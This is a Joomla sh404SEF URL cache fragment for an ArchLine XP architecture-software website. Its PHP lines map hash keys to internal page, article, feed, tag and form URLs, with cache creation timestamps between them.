+$this->_urlCache['a4b8183ad1c7aa6f58a921d12ab0c582']='index.php?option=com_content&Itemid=124&format=feed&id=54&lang=en&type=rss&view=category#education/webinars/feed/rss#0'; +$this->_urlCache['9e969e3fc444c38136616d208db90589']='index.php?option=com_content&Itemid=124&format=feed&id=54&lang=en&type=atom&view=category#education/webinars/feed/atom#0'; +$shURLCacheCreationDate=1778264539; +$this->_urlCache['08fe07dc995330f19910e75971af177c']='index.php?option=com_sppagebuilder&Itemid=517&id=160&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-1/reception-room-interior-level-1#0'; +$shURLCacheCreationDate=1778277940; +$this->_urlCache['d9b80f1136f5f945530365b1f40fa5f4']='index.php?option=com_content&Itemid=189&catid=42&id=525&lang=en&view=article#archline-xp/news/london-build-2016#0'; +$shURLCacheCreationDate=1778282953; +$this->_urlCache['2609d4ef6254a53ab5f5bec4d533d697']='index.php?option=com_sppagebuilder&Itemid=757&id=307&lang=en&view=page#events/2024-update-day#1'; +$shURLCacheCreationDate=1778285223; +$this->_urlCache['494af62622e427b5aa6cdfd224f89553']='index.php?option=com_sppagebuilder&Itemid=160&id=4&lang=en&view=page#archline-xp/about-archline-xp#0'; +$shURLCacheCreationDate=1778285766; +$this->_urlCache['e086870786334698bdd305cc123d1dee']='index.php?option=com_sppagebuilder&Itemid=747&id=287&lang=en&layout=edit&tmpl=component&view=form#edit/287#0'; +$shURLCacheCreationDate=1778295095; +$this->_urlCache['b15875c48302659220f0b8c2b17fcfeb']='index.php?option=com_sppagebuilder&Itemid=405&id=58&lang=en&layout=edit&tmpl=component&view=form#58-sanitary-ware/edit#0'; +$shURLCacheCreationDate=1778295702; +$this->_urlCache['e0fcd0f938466946b5b48f24bf0df97a']='index.php?option=com_sppagebuilder&Itemid=530&id=170&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-2/electrical-accessories-interior-level-2#0'; +$shURLCacheCreationDate=1778320192; +$this->_urlCache['549252ada082fa681c54e912fb626b8b']='index.php?option=com_sppagebuilder&Itemid=504&id=147&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-2#0'; +$shURLCacheCreationDate=1778325635; +$this->_urlCache['185ed8f542eb4f630580c76a2c9a15b3']='index.php?option=com_sppagebuilder&Itemid=507&id=150&lang=en&view=page#education/tutorial-videos/archline-xp-bim-level#0'; +$shURLCacheCreationDate=1778338987; +$this->_urlCache['80574d507d5072e876630e130eb2a31f']='index.php?option=com_content&Itemid=585&id=105&lang=en&layout=blog&view=category#products/archline-xp-live/live-picture-of-the-month/#1'; +$shURLCacheCreationDate=1778347284; +$this->_urlCache['a213565f7967c3e2ccb24a16bdbddd81']='index.php?option=com_content&Itemid=366&catid=24&id=662&lang=en&view=article#blog/case-studies/suburban-family-house-with-archline-xp#0'; +$shURLCacheCreationDate=1778355411; +$this->_urlCache['cbce7c3ddb7884ac2e83de3acab76224']='index.php?option=com_content&Itemid=124&format=feed&id=36&lang=en&type=rss&view=category#projects/feed/rss#0'; +$this->_urlCache['34f833637dcd1fe22a9ec5c124fdd2ac']='index.php?option=com_content&Itemid=124&format=feed&id=36&lang=en&type=atom&view=category#projects/feed/atom#0'; +$this->_urlCache['bc89012fc66cc1a83e02d056387bd093']='index.php?option=com_content&Itemid=124&id=37&lang=en&view=category#projects/architecture/#0'; +$this->_urlCache['5580c1fe7cd762eec9dbecdcdbc03d4e']='index.php?option=com_content&Itemid=124&id=38&lang=en&view=category#projects/interior-design/#0'; +$this->_urlCache['9ff17b6acf06dc8de5d693e99fd22752']='index.php?option=com_content&Itemid=124&id=39&lang=en&view=category#projects/kitchen/#0'; +$this->_urlCache['fb16c7925f6cef26446c532a57489d20']='index.php?option=com_content&Itemid=124&id=40&lang=en&view=category#projects/architecture-stairs/#0'; +$shURLCacheCreationDate=1778355896; +$this->_urlCache['5fc03708f3fb5f0851ceeada1e18d7e4']='index.php?option=com_content&Itemid=124&catid=34&id=772&lang=en&view=article#download/license-agreement-printable-live#0'; +$shURLCacheCreationDate=1778362840; +$this->_urlCache['893c6fa1ee6ecd29f760ea8f9937422d']='index.php?option=com_icagenda&Itemid=679&id=70&lang=en&view=event#70-level-management#1'; +$shURLCacheCreationDate=1778386627; +$this->_urlCache['19d7b5d6f5bbdd2cee9c229588c67243']='index.php?option=com_sppagebuilder&Itemid=568&id=194&lang=en&layout=edit&tmpl=component&view=form#194-webinar-large-projects/edit#0'; +$shURLCacheCreationDate=1778391286; +$this->_urlCache['f37258e4bbd63159322d920b0b7e902a']='index.php?option=com_sppagebuilder&Itemid=594&id=208&lang=en&layout=edit&tmpl=component&view=form#208-archline-xp-lt-overview/edit#0'; +$shURLCacheCreationDate=1778446363; +$this->_urlCache['1dc02dd9b867579e7688c0b9b4a65caa']='index.php?option=com_sppagebuilder&Itemid=346&id=98&lang=en&layout=edit&tmpl=component&view=form#98-picture-of-the-month-submit-a-proposal/edit#0'; +$shURLCacheCreationDate=1778448591; +$this->_urlCache['b0f6486a656117c2b6d7a558c8526368']='index.php?option=com_sppagebuilder&Itemid=275&id=68&lang=en&layout=edit&tmpl=component&view=form#68-2-napos-intenziv-kezdo-kurzus/edit#0'; +$shURLCacheCreationDate=1778450255; +$this->_urlCache['6ea1b30931f0e30f783eac6172898343']='index.php?option=com_sppagebuilder&Itemid=222&id=132&lang=en&layout=edit&tmpl=component&view=form#132-2018-winter-sale/edit#0'; +$shURLCacheCreationDate=1778472338; +$this->_urlCache['998a348cfc398e69d051e4b5804af5e0']='index.php?option=com_content&Itemid=280&id=80&lang=en&layout=theme1985%3Acategory&view=category#tutorial-videos/edit-and-modify/#0'; +$shURLCacheCreationDate=1778483009; +$this->_urlCache['d48f35a381be277277b9b69f7b06ebce']='index.php?option=com_jsn&Itemid=&lang=en&view=profile#jsn#0'; +$shURLCacheCreationDate=1778508922; +$this->_urlCache['f3438c33c69cef564457e06f0e3fc034']='index.php?option=com_content&Itemid=124&catid=48&id=923&lang=en&view=article#workshop-email-templates/archline-xp-2022-new-features-part-2-webinar-signup-confirmation#0'; +$shURLCacheCreationDate=1778531776; +$this->_urlCache['4530051faa263eae7730c3a929baba70']='index.php?option=com_sppagebuilder&Itemid=603&id=216&lang=en&layout=edit&tmpl=component&view=form#edit/216#0'; +$shURLCacheCreationDate=1778546257; +$this->_urlCache['a719c590731119142578beac80efce33']='index.php?option=com_sppagebuilder&Itemid=675&id=246&lang=en&layout=edit&tmpl=component&view=form#edit/246#0'; +$shURLCacheCreationDate=1778591641; +$this->_urlCache['0594e071c5ad0638d68de90943d0f4b4']='index.php?option=com_content&Itemid=124&catid=34&id=969&lang=en&view=article#download/release-2023-lt-websetup#0'; +$shURLCacheCreationDate=1778600481; +$this->_urlCache['78af5f0b492da8a8934113864f56f4bb']='index.php?option=com_sppagebuilder&Itemid=570&id=196&lang=en&layout=edit&tmpl=component&view=form#196-webinar-stairs-and-railings/edit#0'; +$shURLCacheCreationDate=1778604814; +$this->_urlCache['f6123e2963fbd09ae8543e28122c9de5']='index.php?option=com_content&Itemid=124&id=2&lang=en&view=category#uncategorised/#0'; +$this->_urlCache['4d060ca91527df6c0e808e2dec5f8378']='index.php?option=com_content&Itemid=124&id=15&lang=en&view=category#blog/#0'; +$this->_urlCache['3ac3e986032d162698d80967f701b7bd']='index.php?option=com_content&Itemid=124&id=16&lang=en&view=category#workshop/#0'; +$this->_urlCache['6e827bdebb88f0e1d4586ecede6caa8a']='index.php?option=com_content&Itemid=124&id=19&lang=en&view=category#competition/#0'; +$this->_urlCache['4485bea13f6073a83f1551606888af69']='index.php?option=com_content&Itemid=124&id=34&lang=en&view=category#download/#0'; +$this->_urlCache['6f483612c2701cfccd1f4d04b0c1c3bc']='index.php?option=com_content&Itemid=124&id=36&lang=en&view=category#projects/#0'; +$this->_urlCache['e5e4b18aaf1cc9ca9efab51de7f05fc4']='index.php?option=com_content&Itemid=124&id=41&lang=en&view=category#sh404sef-custom-content/#0'; +$this->_urlCache['c33e882cccf8108d9cad12a299433c17']='index.php?option=com_content&Itemid=124&id=44&lang=en&view=category#education/#0'; +$this->_urlCache['6f4e47d871c2b0635d21b287c320b4d7']='index.php?option=com_content&Itemid=124&id=46&lang=en&view=category#archline-xp/#0'; +$this->_urlCache['a53b00c82503b8fc7db85c889e95ea5f']='index.php?option=com_content&Itemid=175&id=20&lang=en&view=category#archline-xp/gallery/picture-of-the-month/#0'; +$this->_urlCache['774b57ca1724040aef2a7b6de8207c35']='index.php?option=com_content&Itemid=124&id=105&lang=en&view=category#archline-xp/gallery/live-picture-of-month/#0'; +$this->_urlCache['18765acbfddc8577ceefb684d901f6d5']='index.php?option=com_content&Itemid=124&id=47&lang=en&view=category#showroom/#0'; +$this->_urlCache['597408004aad6b2b2574e8f754ba292e']='index.php?option=com_content&Itemid=124&id=48&lang=en&view=category#workshop-email-templates/#0'; +$this->_urlCache['03c2636849c8080e3f321d4f47989655']='index.php?option=com_content&Itemid=124&id=50&lang=en&view=category#non-profit/#0'; +$this->_urlCache['b9656c9ce6539e2dfa7c18e3a6bb5d9f']='index.php?option=com_content&Itemid=124&id=57&lang=en&view=category#maintenance/#0'; +$this->_urlCache['5f037c3d59ccf19e2b9bdfd8a92acdc1']='index.php?option=com_content&Itemid=124&id=58&lang=en&view=category#legal/#0'; +$this->_urlCache['421e82401d8d89d6b5a88e8247ee0198']='index.php?option=com_content&Itemid=124&id=62&lang=en&view=category#tutorial-videos/#0'; +$this->_urlCache['8481ac52ef3e5b4c084a05cb3e87b0a5']='index.php?option=com_content&Itemid=124&id=63&lang=en&view=category#tutorial-videos/fundamentals/#0'; +$this->_urlCache['75231246f32fe13f9de4a22de0292d1c']='index.php?option=com_content&Itemid=124&id=65&lang=en&view=category#tutorial-videos/fundamentals/establish-your-practice-standards/#0'; +$this->_urlCache['933249146b4c52ee1a24f6b360e96123']='index.php?option=com_content&Itemid=124&id=64&lang=en&view=category#tutorial-videos/interior-design/#0'; +$this->_urlCache['d832047376210d7f80efb1bac49bd642']='index.php?option=com_content&Itemid=124&id=71&lang=en&view=category#tutorial-videos/create-architectural-floor-plan/#0'; +$this->_urlCache['aac79d0262cd1bfca7c87051251ba4bb']='index.php?option=com_content&Itemid=124&id=81&lang=en&view=category#tutorial-videos/documentation/#0'; +$this->_urlCache['e711c508db5b454589cd75da9069942a']='index.php?option=com_content&Itemid=124&id=98&lang=en&view=category#tutorial-videos/visuals/#0'; +$this->_urlCache['ed938c057441d89ebb7a73d618f9467e']='index.php?option=com_content&Itemid=124&id=107&lang=en&view=category#email-templates/#0'; +$shURLCacheCreationDate=1778604823; +$this->_urlCache['510b6049242529f145641f7d30764ccb']='index.php?option=com_content&Itemid=124&format=feed&id=48&lang=en&type=rss&view=category#workshop-email-templates/feed/rss#0'; +$this->_urlCache['466697cc31b9f5da48600864dc9c4b4a']='index.php?option=com_content&Itemid=124&format=feed&id=48&lang=en&type=atom&view=category#workshop-email-templates/feed/atom#0'; +$this->_urlCache['20ab4e3bda9b6a5d9d5d80a1070f5712']='index.php?option=com_content&Itemid=124&catid=48&id=1032&lang=en&view=article#workshop-email-templates/harosi-krisztina-rendeing-course-confirmation#0'; +$this->_urlCache['b1f288f60c349d03cfa5f09f60b56cf1']='index.php?option=com_content&Itemid=124&catid=48&id=924&lang=en&view=article#workshop-email-templates/archline-xp-2022-new-features-part-3-webinar-signup-confirmation#0'; +$this->_urlCache['a2cce9eb3db1fdc8d057936b758388de']='index.php?option=com_content&Itemid=124&catid=48&id=933&lang=en&view=article#workshop-email-templates/archline-xp-live-2022-new-features-part-1-webinar-signup-confirmation#0'; +$shURLCacheCreationDate=1778631148; +$this->_urlCache['8e0ec6f05dc7e26ec787fb272f54f121']='index.php?option=com_sppagebuilder&Itemid=633&id=277&lang=en&layout=edit&tmpl=component&view=form#edit/277#0'; +$shURLCacheCreationDate=1778643507; +$this->_urlCache['573acf82f78d5c826178b273d215b916']='index.php?option=com_sppagebuilder&Itemid=522&id=164&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-1/lighting-interior-level-1#0'; +$shURLCacheCreationDate=1778657624; +$this->_urlCache['8542d9fb339eea09ea869abdd712ad75']='index.php?option=com_content&Itemid=124&catid=34&id=821&lang=en&view=article#download/release-2020-350#0'; +$shURLCacheCreationDate=1778708752; +$this->_urlCache['27ba3c7d1c2144ffc382b5a185f23464']='index.php?option=com_content&Itemid=124&catid=34&id=824&lang=en&view=article#download/release-2020-351#0'; +$shURLCacheCreationDate=1778712438; +$this->_urlCache['50b91f093d80af5f1232f85a906862c3']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=en&layout=blog&limit=31&type=rss&view=category#archline-xp/news/feed/rss#0'; +$this->_urlCache['30cb3523bf99eb2cb3f0d4bc4560767b']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=en&layout=blog&limit=31&type=atom&view=category#archline-xp/news/feed/atom#0'; +$shURLCacheCreationDate=1778716181; +$this->_urlCache['420da8edf97807f083c6468cc8cf56aa']='index.php?option=com_content&Itemid=124&format=feed&id=58&lang=en&type=rss&view=category#legal/feed/rss#0'; +$this->_urlCache['693fba97ef93bcfb03126cc32875f854']='index.php?option=com_content&Itemid=124&format=feed&id=58&lang=en&type=atom&view=category#legal/feed/atom#0'; +$this->_urlCache['fd4827ad42bda3622fc0acaf9208b8e5']='index.php?option=com_content&Itemid=124&catid=58&id=584&lang=en&view=article#legal/showroom-terms-of-use#0'; +$shURLCacheCreationDate=1778733691; +$this->_urlCache['ee472c6780f51a9519ff7ed6cc315331']='index.php?option=com_users&Itemid=124&lang=en&view=profile#view-your-user-details/#0'; +$shURLCacheCreationDate=1778735732; +$this->_urlCache['af56e576bb798aaed569be7e75b6081c']='index.php?option=com_users&Itemid=124&lang=en&layout=edit&view=profile#edit-user-details/#0'; +$shURLCacheCreationDate=1778735733; +$this->_urlCache['c25aa41ea6f72f33f322fc907b72aa89']='index.php?option=com_sppagebuilder&Itemid=540&id=181&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-2/building-site-orientation-and-geo-location-architecture-level-2#0'; +$shURLCacheCreationDate=1778751812; +$this->_urlCache['5c70316f3e5b243777906eb8f1920a07']='index.php?option=com_sppagebuilder&Itemid=527&id=40&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-2/kbb-furniture-design-interior-level-2#0'; +$shURLCacheCreationDate=1778754469; +$this->_urlCache['6bfdf8630430c9c22e01b7adbd1587ed']='index.php?option=com_sppagebuilder&Itemid=544&id=185&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-2/documentation-and-printing-architecture-level-2#0'; +$shURLCacheCreationDate=1778755289; +$this->_urlCache['8ec936cdae203f5dfcc76b3772165e38']='index.php?option=com_sppagebuilder&Itemid=528&id=168&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-2/upholstered-furniture-interior-level-2#0'; +$shURLCacheCreationDate=1778810307; +$this->_urlCache['dd12495b9aa5662f965f08526f62a898']='index.php?option=com_content&Itemid=366&catid=24&id=1087&lang=en&view=article#blog/case-studies/anett-sebestyen-bodrogi-graduation-project-featured-work#0'; +$this->_urlCache['8e9c6008649b2d959f0a32249c543023']='index.php?option=com_content&Itemid=366&catid=24&id=1089&lang=en&view=article#blog/case-studies/timea-salanki-jozipovics-s-graduation-project-featured-work#0'; +$this->_urlCache['e1f9dd1512bcaa60248df9c5d716228a']='index.php?option=com_content&Itemid=366&catid=24&id=1090&lang=en&view=article#blog/case-studies/brigitta-forgo-s-graduation-project-featured-work#0'; +$this->_urlCache['2c0557843ff7cbcb6f1bb9107f6a8984']='index.php?option=com_content&Itemid=366&catid=24&id=1091&lang=en&view=article#blog/case-studies/orsolya-gal-s-graduation-project-featured-work#0'; +$this->_urlCache['8896c5193a4a0e891ac7c8b05414d4c0']='index.php?option=com_content&Itemid=366&catid=24&id=1092&lang=en&view=article#blog/case-studies/reka-bognar-barabas-s-graduation-project-featured-work#0'; +$this->_urlCache['79991364fe6a747ceb8d5772837f49cb']='index.php?option=com_content&Itemid=366&catid=24&id=1093&lang=en&view=article#blog/case-studies/szabina-sipak-terdik-s-graduation-project-featured-work#0'; +$shURLCacheCreationDate=1778845217; +$this->_urlCache['4f495c56e1e1617f522ddf6c8a4076bd']='index.php?option=com_content&Itemid=366&catid=24&id=1095&lang=en&view=article#blog/case-studies/dr-brigitta-forgo-kaldyne-graduation-project-featured-work#0'; +$shURLCacheCreationDate=1778847953; +$this->_urlCache['02211d26499b1b972e4afcd6f562ad50']='index.php?option=com_content&Itemid=366&catid=24&id=1096&lang=en&view=article#blog/case-studies/emerald-elegance#0'; +$shURLCacheCreationDate=1778850278; +$this->_urlCache['928fea41cc99614937e860fbb637e2b0']='index.php?option=com_content&Itemid=366&catid=24&id=1097&lang=en&view=article#blog/case-studies/deep-tones-inviting-home#0'; +$shURLCacheCreationDate=1778851665; +$this->_urlCache['9ce1bafbba87128426e73f799e23f26e']='index.php?option=com_content&Itemid=366&catid=24&id=1098&lang=en&view=article#blog/case-studies/waterfront-holiday-home-where-design-resonates-with-nature#0'; +$shURLCacheCreationDate=1778855214; +$this->_urlCache['ffed2cc3dd903effdc863bdd7d3b8f6e']='index.php?option=com_content&Itemid=366&catid=24&id=1099&lang=en&view=article#blog/case-studies/space-that-lives-together-with-the-family#0'; +$this->_urlCache['b7b635f97547d6b1e571f8f1cc536c5b']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=124&view=category#blog/case-studies/Page-5-31#0'; +$shURLCacheCreationDate=1778855428; +$this->_urlCache['d1edd0c4b71b3e918d7aa1e2cf18386d']='index.php?option=com_sppagebuilder&Itemid=535&id=176&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-1/grid-and-plain-ceiling-architecture-level-1#0'; +$shURLCacheCreationDate=1778922651; +$this->_urlCache['4e4be5215ac5acbe23e98a626cc3a614']='index.php?option=com_sppagebuilder&Itemid=287&id=80&lang=en&layout=edit&tmpl=component&view=form#80-karpitozott-butorok/edit#0'; +$shURLCacheCreationDate=1778940389; +$this->_urlCache['fea5761bb18cd778d91dfc50811d8d5b']='index.php?option=com_sppagebuilder&Itemid=0&id=30&lang=en&layout=edit&tmpl=component&view=form#30-tutorial-videos/edit#0'; +$shURLCacheCreationDate=1778953841; +$this->_urlCache['15905fd8782adea4de0c4348dcfe40c1']='index.php?option=com_sppagebuilder&Itemid=518&id=161&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-1/foundation-interior-level-1#0'; +$shURLCacheCreationDate=1779011073; +$this->_urlCache['d35c193c0720d2ee574d53faf3b44e06']='index.php?option=com_search&lang=en#search#0'; +$shURLCacheCreationDate=1779011728; +$this->_urlCache['55c94ac1e61635f664cbdd3bf5aaed03']='index.php?option=com_sppagebuilder&Itemid=193&id=17&lang=en&layout=edit&tmpl=component&view=form#17-workshops/edit#0'; +$shURLCacheCreationDate=1779025626; +$this->_urlCache['df71cb2ae356093beef03fc3f8f5d639']='index.php?option=com_sppagebuilder&Itemid=271&id=71&lang=en&layout=edit&tmpl=component&view=form#71-fuerdoszoba-tervezes/edit#0'; +$shURLCacheCreationDate=1779091190; +$this->_urlCache['8959a58eb27483543fdc2e40a9d0f5b5']='index.php?option=com_sppagebuilder&Itemid=545&id=191&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-2/quantity-take-off-architecture-level-2#0'; +$shURLCacheCreationDate=1779102874; +$this->_urlCache['a9e9149ff04d3dc232ac078e8f735cc5']='index.php?option=com_sppagebuilder&Itemid=543&id=184&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-2/sections-and-elevations-architecture-level-2#0'; +$shURLCacheCreationDate=1779105758; +$this->_urlCache['f4bc156ba5cffc2648ed97cde30129c4']='index.php?option=com_sppagebuilder&Itemid=581&id=205&lang=en&view=page#products/archline-xp-live/online-help#1'; +$shURLCacheCreationDate=1779107005; +$this->_urlCache['e28af122d44393c0cb06363cb0283401']='index.php?option=com_sppagebuilder&Itemid=531&id=172&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-1/wall-architecture-level-1#0'; +$shURLCacheCreationDate=1779113332; +$this->_urlCache['721d8e5ecda73900a9e27f395c8fb6db']='index.php?option=com_sppagebuilder&Itemid=509&id=151&lang=en&view=page#education/tutorial-videos/archline-xp-level-1/interface-level-1#0'; +$shURLCacheCreationDate=1779115876; +$this->_urlCache['d79128a51a330e0aecbeb7f4f2ed0b68']='index.php?option=com_sppagebuilder&Itemid=532&id=173&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-1/slab-sloped-floor-architecture-level-1#0'; +$shURLCacheCreationDate=1779155203; +$this->_urlCache['50499f12f13b2229a8ecdbb5990a8a7f']='index.php?option=com_tags&id=67&lang=en&view=tag#tag/67#0'; +$shURLCacheCreationDate=1779210744; +$this->_urlCache['50499f12f13b2229a8ecdbb5990a8a7f']='index.php?option=com_tags&id=67&lang=en&view=tag#tag/67#0'; +$shURLCacheCreationDate=1779210745; +$this->_urlCache['e24b368675e3e8c5bb900b48270cda7a']='index.php?option=com_tags&id=68&lang=en&view=tag#tag/68#0'; +$shURLCacheCreationDate=1779210747; +$this->_urlCache['728eb451f08c6d3eb96c545b53656ed8']='index.php?option=com_tags&id=79&lang=en&view=tag#tag/79#0'; +$shURLCacheCreationDate=1779210755; +$this->_urlCache['728eb451f08c6d3eb96c545b53656ed8']='index.php?option=com_tags&id=79&lang=en&view=tag#tag/79#0'; +$shURLCacheCreationDate=1779210756; +$this->_urlCache['c44a59b8ba3ce9fe04f2f092ee7ec188']='index.php?option=com_tags&id=80&lang=en&view=tag#tag/80#0'; +$shURLCacheCreationDate=1779210758; +$this->_urlCache['c44a59b8ba3ce9fe04f2f092ee7ec188']='index.php?option=com_tags&id=80&lang=en&view=tag#tag/80#0'; +$shURLCacheCreationDate=1779210760; +$this->_urlCache['1c4235b73db1b795f2ec988b89639da7']='index.php?option=com_sppagebuilder&Itemid=513&id=155&lang=en&layout=edit&tmpl=component&view=form#155-get-the-right-look-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1779238911; +$this->_urlCache['8a502b83ea7ad7101e0df8f4a798c848']='index.php?option=com_content&Itemid=189&catid=42&id=527&lang=en&view=article#archline-xp/news/k-b-design-london-2017-join-us-on-stand-a108#0'; +$shURLCacheCreationDate=1779247427; +$this->_urlCache['e3ed78e8f737160bf9230928dd42c174']='index.php?option=com_sppagebuilder&Itemid=767&id=316&lang=en&layout=edit&tmpl=component&view=form#edit/316#0'; +$shURLCacheCreationDate=1779258164; +$this->_urlCache['46f10722a8007738e64856902d219d41']='index.php?option=com_content&id=580&lang=en&view=article#maintenance/newsletter-unsubscribe-successful#0'; +$shURLCacheCreationDate=1779275381; +$this->_urlCache['5b58af6a1c0ac184de2bd8d9e7c8e35a']='index.php?option=com_sppagebuilder&Itemid=515&id=157&lang=en&view=page#education/tutorial-videos/archline-xp-level-2/documentation-and-printing-level-2#0'; +$shURLCacheCreationDate=1779338436; +$this->_urlCache['b62e0036d0e0c69ca16175cfa4659a88']='index.php?option=com_sppagebuilder&Itemid=281&id=74&lang=en&layout=edit&tmpl=component&view=form#74-latvanytervezes-kurzus/edit#0'; +$shURLCacheCreationDate=1779360382; +$this->_urlCache['c93c779e2e5141c8c1afdb68192d2dd0']='index.php?option=com_sppagebuilder&Itemid=501&id=144&lang=en&view=page#education/tutorial-videos/archline-xp-level-1#0'; +$shURLCacheCreationDate=1779365765; +$this->_urlCache['8dfb22a9abd597c38fe9b1833a7922d5']='index.php?option=com_sppagebuilder&Itemid=512&id=154&lang=en&view=page#education/tutorial-videos/archline-xp-level-2/organized-modelling-level-2#0'; +$shURLCacheCreationDate=1779458851; +$this->_urlCache['1fa41dcb6a8a31bf93b661c3c637542d']='index.php?option=com_finder&Itemid=343&lang=en&view=search#kereses#0'; +$shURLCacheCreationDate=1779471557; +$this->_urlCache['ad6c11e0e26a0c2d0fef6f202f6294be']='index.php?option=com_sppagebuilder&Itemid=273&id=73&lang=en&layout=edit&tmpl=component&view=form#73-nappali-tervezes/edit#0'; +$shURLCacheCreationDate=1779482003; +$this->_urlCache['9553af819f14ca71cbd670f7fdc44bca']='index.php?option=com_sppagebuilder&Itemid=270&id=70&lang=en&layout=edit&tmpl=component&view=form#70-konyha-tervezes/edit#0'; +$shURLCacheCreationDate=1779543846; +$this->_urlCache['932f02fc8f97450b4b97828a01d27b92']='index.php?option=com_sppagebuilder&Itemid=213&id=57&lang=en&view=page#download/download-center#0'; +$shURLCacheCreationDate=1779545612; +$this->_urlCache['0fb305250c678faf2d46466574c8e761']='index.php?option=com_users&Itemid=375&lang=en&view=login#log-in/#0'; +$shURLCacheCreationDate=1779660333; +$this->_urlCache['82a74a99ba59f1acaef21c555b6ca399']='index.php?option=com_tags&id=80-2014&lang=en&view=tag#tag/80-2014#0'; +$this->_urlCache['e424eb98321c39ba1a3212db370be993']='index.php?option=com_tags&id=67-2015&lang=en&view=tag#tag/67-2015#0'; +$this->_urlCache['5529885461e016e70c3504d776c87c40']='index.php?option=com_tags&id=69-2017&lang=en&view=tag#tag/2017#0'; +$this->_urlCache['c2263bed157735887ba9ef2d86eea954']='index.php?option=com_tags&id=106-2018&lang=en&view=tag#tag/2018#0'; +$this->_urlCache['ada502e707da1dab8bc3a468ea9fc9e5']='index.php?option=com_tags&id=9-3d&lang=en&view=tag#tag/3d#0'; +$this->_urlCache['4ffc77ec8a75388cfa2c35728cd31588']='index.php?option=com_tags&id=55-3d-kalapacs&lang=en&view=tag#tag/3d-kalapacs#0'; +$this->_urlCache['fd0ca5bcaa4bc49a853f9e7f6169aa1c']='index.php?option=com_tags&id=12-3d-warehouse&lang=en&view=tag#tag/3d-warehouse#0'; +$this->_urlCache['184234a6a3582747f4d93e763fdd82d2']='index.php?option=com_tags&id=53-ablak&lang=en&view=tag#tag/ablak#0'; +$this->_urlCache['e07fae9bd78bc6440b99db2a184fae1a']='index.php?option=com_tags&id=52-ajto&lang=en&view=tag#tag/ajto#0'; +$this->_urlCache['7a986dcdb833d80772fc5d87ced4d92f']='index.php?option=com_tags&id=17-alapertelmezett-nyomato&lang=en&view=tag#tag/alapertelmezett-nyomato#0'; +$this->_urlCache['0be283bcfb7e42fdfdb9ebc06213de7d']='index.php?option=com_tags&id=27-alaprajz&lang=en&view=tag#tag/alaprajz#0'; +$this->_urlCache['eb3f9bda2d5737205af28e5fb31ba2c9']='index.php?option=com_tags&id=56-anyag&lang=en&view=tag#tag/anyag#0'; +$this->_urlCache['6ceab89920fac03ff5810d3217ae3235']='index.php?option=com_tags&id=60-archivalas&lang=en&view=tag#tag/archivalas#0'; +$this->_urlCache['e297ac43ef5a2785635761636308ca1f']='index.php?option=com_tags&id=57-archline-xp-2014&lang=en&view=tag#tag/archline-xp-2014#0'; +$this->_urlCache['c64956258c493f80b9baaf8ee3aef378']='index.php?option=com_tags&id=24-archline-xp-2015&lang=en&view=tag#tag/archline-xp-2015#0'; +$this->_urlCache['5167002d6aa1d996772a9786eba3d6d6']='index.php?option=com_tags&id=23-archline-xp-2016&lang=en&view=tag#tag/archline-xp-2016#0'; +$this->_urlCache['15e7447fd314c0c54c2f154e31eb2845']='index.php?option=com_tags&id=15-archline-xp-2017&lang=en&view=tag#tag/15-archline-xp-2017#0'; +$this->_urlCache['082855e7827ac6ceb7341e6387ec939f']='index.php?option=com_tags&id=97-art-deco&lang=en&view=tag#tag/art-deco#0'; +$this->_urlCache['0939e37bbc55114dc6accce98b5ef108']='index.php?option=com_tags&id=58-athozatal&lang=en&view=tag#tag/athozatal#0'; +$this->_urlCache['d823c3eff14b6c0830cb33fa1e3bd1f9']='index.php?option=com_tags&lang=en#tags#0'; +$shURLCacheCreationDate=1779662210; +$this->_urlCache['782a6b781075f3eb5ee216e8d9b0bebe']='index.php?option=com_sppagebuilder&Itemid=124&id=241&lang=en&layout=edit&tmpl=component&view=form#edit/241#0'; +$shURLCacheCreationDate=1779692000; +$this->_urlCache['d8d3511e05303e564fa2be3bd67a384e']='index.php?option=com_sppagebuilder&Itemid=124&id=105&lang=en&layout=edit&tmpl=component&view=form#edit/105#0'; +$shURLCacheCreationDate=1779692002; +$this->_urlCache['ad2852091c84f41bcb800c87e342e8d2']='index.php?option=com_sppagebuilder&Itemid=124&id=77&lang=en&layout=edit&tmpl=component&view=form#edit/77#0'; +$shURLCacheCreationDate=1779692008; +$this->_urlCache['66cb70b449aa7ea50cee21b9833e3fe5']='index.php?option=com_sppagebuilder&Itemid=124&id=35&lang=en&layout=edit&tmpl=component&view=form#edit/35#0'; +$shURLCacheCreationDate=1779692017; +$this->_urlCache['5aa6308b38ae5f6d35a5414bb91baf70']='index.php?option=com_sppagebuilder&Itemid=124&id=82&lang=en&layout=edit&tmpl=component&view=form#edit/82#0'; +$shURLCacheCreationDate=1779692063; +$this->_urlCache['119c7b06c17cfb82b58c44317849ac77']='index.php?option=com_sppagebuilder&Itemid=124&id=78&lang=en&layout=edit&tmpl=component&view=form#edit/78#0'; +$shURLCacheCreationDate=1779692065; +$this->_urlCache['40f34fd17240a595b5e64412c207da65']='index.php?option=com_sppagebuilder&Itemid=124&id=70&lang=en&layout=edit&tmpl=component&view=form#edit/70#0'; +$shURLCacheCreationDate=1779692072; +$this->_urlCache['73679d9eb7f796bb24fc734cfc53d64d']='index.php?option=com_sppagebuilder&Itemid=124&id=83&lang=en&layout=edit&tmpl=component&view=form#edit/83#0'; +$shURLCacheCreationDate=1779692125; +$this->_urlCache['890e4ee93957867384291ea3b4cb86d7']='index.php?option=com_sppagebuilder&Itemid=124&id=1&lang=en&layout=edit&tmpl=component&view=form#1-index2/edit#0'; 